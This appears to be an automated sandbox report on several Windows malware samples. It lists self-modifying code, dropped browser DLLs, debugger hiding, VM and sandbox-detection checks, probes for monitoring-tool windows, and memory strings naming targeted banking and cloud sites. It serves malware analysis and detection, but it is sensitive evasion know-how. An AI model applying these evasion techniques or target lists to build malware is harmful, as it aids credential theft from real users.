Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Special instruction interceptor: First address: 82DD18 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Special instruction interceptor: First address: 856893 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Special instruction interceptor: First address: 68EB8E instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Special instruction interceptor: First address: 8B7F8E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B3EC64 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: CDDD18 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D06893 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B3EB8E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D67F8E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Special instruction interceptor: First address: F516E3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Special instruction interceptor: First address: DA215E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Special instruction interceptor: First address: FDA6EB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Special instruction interceptor: First address: B4C93D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Special instruction interceptor: First address: D22A0E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Special instruction interceptor: First address: D0BF8E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Special instruction interceptor: First address: D8547E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Special instruction interceptor: First address: E7F748 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Special instruction interceptor: First address: E7F83A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Special instruction interceptor: First address: E7D4FE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Special instruction interceptor: First address: 10A7F2F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Special instruction interceptor: First address: 7CDAD4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Special instruction interceptor: First address: 7CD9F8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Special instruction interceptor: First address: 9704DD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Special instruction interceptor: First address: 997AFA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Special instruction interceptor: First address: A049C7 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsJEHJKJEBGH.exe

Code function: 20_2_050802FC rdtsc

20_2_050802FC

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 5316	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1196	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1196	Thread sleep time: -68034s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6528	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6528	Thread sleep time: -72036s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5260	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1992	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1816	Thread sleep count: 41 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1816	Thread sleep time: -82041s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7792	Thread sleep count: 31 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7792	Thread sleep time: -62031s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7844	Thread sleep count: 47 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7844	Thread sleep time: -94047s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7796	Thread sleep count: 281 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7796	Thread sleep time: -8430000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 368	Thread sleep count: 41 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 368	Thread sleep time: -82041s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7796	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe TID: 7644	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe TID: 7644	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe TID: 8124	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe TID: 8128	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe TID: 1716	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe TID: 9188	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe TID: 7232	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe TID: 2944	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe TID: 6252	Thread sleep time: -90000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsJEHJKJEBGH.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Code function: 23_2_00D4236A FindFirstFileExW,		23_2_00D4236A
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Code function: 23_2_00D4241B FindFirstFileExW,FindNextFileW,FindClose,FindClose,		23_2_00D4241B

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5DEBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6C5DEBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: 684030933f.exe, 0000001F.00000003.3252726708.0000000005F95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000002.2571085953.00000000011A5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000016.00000002.3301829204.00000000011B9000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2836087062.0000000003279000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000002.2837208737.000000000327C000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2836285943.000000000327B000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000002.3293092608.0000000000978000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000002.3293092608.00000000009C4000.00000004.00000020.00020000.00000000.sdmp, 27ee25f0d2.exe, 0000001D.00000002.3160151748.0000000001817000.00000004.00000020.00020000.00000000.sdmp, 27ee25f0d2.exe, 0000001D.00000002.3160151748.00000000017F9000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000002.3301305599.00000000016AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 0000002D.00000002.3336641803.000001FAB61C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3307499464.000001DBBC21C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: firefox.exe, 00000030.00000002.3307676170.0000016918920000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllV4
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: firefox.exe, 0000002E.00000002.3309112947.000001DBBC300000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllt,NE
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 27ee25f0d2.exe, 0000002F.00000002.3302082119.000000000138B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware^+X
Source: file.exe, 00000000.00000002.2571085953.000000000112E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware`k
Source: 27ee25f0d2.exe, 0000002F.00000002.3302082119.000000000138B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: skotes.exe, skotes.exe, 00000016.00000002.3294684406.0000000000CC2000.00000040.00000001.01000000.0000000E.sdmp, 684030933f.exe, 0000001C.00000002.3298841934.0000000000CD5000.00000040.00000001.01000000.00000011.sdmp, 27ee25f0d2.exe, 0000001D.00000002.3157007722.0000000000FF5000.00000040.00000001.01000000.00000012.sdmp, 684030933f.exe, 0000001F.00000002.3291881249.0000000000CD5000.00000040.00000001.01000000.00000011.sdmp, 27ee25f0d2.exe, 0000002F.00000002.3295978252.0000000000FF5000.00000040.00000001.01000000.00000012.sdmp, 34712696d0.exe, 00000031.00000002.3294148361.0000000000955000.00000040.00000001.01000000.00000019.sdmp, 34712696d0.exe, 00000031.00000000.3271254852.0000000000955000.00000080.00000001.01000000.00000019.sdmp, random[2].exe.22.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 27ee25f0d2.exe, 0000001D.00000002.3160151748.000000000179E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware\|1
Source: vg9qcBa.exe, 00000019.00000003.2836087062.000000000324D000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000002.2837208737.000000000324D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: DocumentsJEHJKJEBGH.exe, 00000014.00000003.2569466084.000000000129F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: file.exe, 00000000.00000002.2571085953.0000000001173000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 27ee25f0d2.exe, 0000001D.00000002.3160151748.00000000017E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: firefox.exe, 0000002E.00000002.3309112947.000001DBBC300000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3307676170.0000016918920000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: firefox.exe, 0000002D.00000002.3327978987.000001FAAC518000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW[z[W
Source: firefox.exe, 00000030.00000002.3307676170.0000016918920000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW;+
Source: file.exe, 00000000.00000002.2570283782.0000000000C75000.00000040.00000001.01000000.00000003.sdmp, DocumentsJEHJKJEBGH.exe, 00000014.00000002.2648713110.0000000000812000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000015.00000002.2680843914.0000000000CC2000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000016.00000002.3294684406.0000000000CC2000.00000040.00000001.01000000.0000000E.sdmp, 684030933f.exe, 0000001C.00000002.3298841934.0000000000CD5000.00000040.00000001.01000000.00000011.sdmp, 27ee25f0d2.exe, 0000001D.00000002.3157007722.0000000000FF5000.00000040.00000001.01000000.00000012.sdmp, 684030933f.exe, 0000001F.00000002.3291881249.0000000000CD5000.00000040.00000001.01000000.00000011.sdmp, 27ee25f0d2.exe, 0000002F.00000002.3295978252.0000000000FF5000.00000040.00000001.01000000.00000012.sdmp, 34712696d0.exe, 00000031.00000002.3294148361.0000000000955000.00000040.00000001.01000000.00000019.sdmp, 34712696d0.exe, 00000031.00000000.3271254852.0000000000955000.00000080.00000001.01000000.00000019.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: firefox.exe, 00000030.00000002.3296463496.0000016917FEA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\DocumentsJEHJKJEBGH.exe

Code function: 20_2_050809E9 Start: 05080ACC End: 05080A12

20_2_050809E9

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009253001\27ee25f0d2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009255001\34712696d0.exe	Process queried: DebugPort
